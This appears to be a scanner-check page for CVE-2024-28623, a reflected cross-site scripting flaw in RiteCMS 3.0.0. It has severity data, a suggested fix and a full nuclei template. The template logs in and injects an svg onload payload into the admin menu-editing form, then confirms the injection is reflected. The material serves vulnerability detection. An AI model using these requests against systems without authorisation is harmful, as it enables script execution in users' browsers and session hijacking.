RiteCMS 3.0.0 - Cross-site Scripting

mediumseverity

6.1CVSS score

1.3%likelihood of exploitation, next 30 days

71%of all CVEs are less likely

Readycheck to confirm it

RiteCMS v3.0.0 contains a reflected XSS caused by unsanitized input in the main_menu/edit_section component, letting attackers execute arbitrary scripts in the context of the victim's browser.

Impact

Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.

Fix

Sanitize and validate input in the main_menu/edit_section component, and update to the latest version if available.

How to confirm it

Send: POST /admin.php
Positive when: status_code == 302
Send: POST /admin.php ; GET /
Positive when: contains_all(body, "{{string}}", "RiteCMS") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-28623 -u <target>

The full check

id: CVE-2024-28623

info:
  name: RiteCMS 3.0.0 - Cross-site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    RiteCMS v3.0.0 contains a reflected XSS caused by unsanitized input in the main_menu/edit_section component, letting attackers execute arbitrary scripts in the context of the victim's browser.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
    Sanitize and validate input in the main_menu/edit_section component, and update to the latest version if available.
  reference:
    - https://github.com/GURJOTEXPERT/ritecms
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28623
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-28623
    cwe-id: CWE-79
    epss-score: 0.01317
    epss-percentile: 0.71037
    cpe: cpe:2.3:a:ritecms:ritecms:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: ritecms
    product: ritecms
    fofa-query: title="RiteCMS"
  tags: cve,cve2024,ritecms,xss,oss,authenticated,vuln

variables:
  string: "{{rand_text_numeric(13)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /admin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&userpw={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        POST /admin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mode=menus&menu=main_menu&edit_item=4&name=faq&title=faq&link=faq&section='"><svg/onload=console.log('{{string}}')>&accesskey='"><svg/onload=console.log('{{string}}')>&submenu='"><svg/onload=console.log('{{string}}')>&edit_menu_item_submitted=%C2%A0OK%C2%A0

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "{{string}}", "RiteCMS")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

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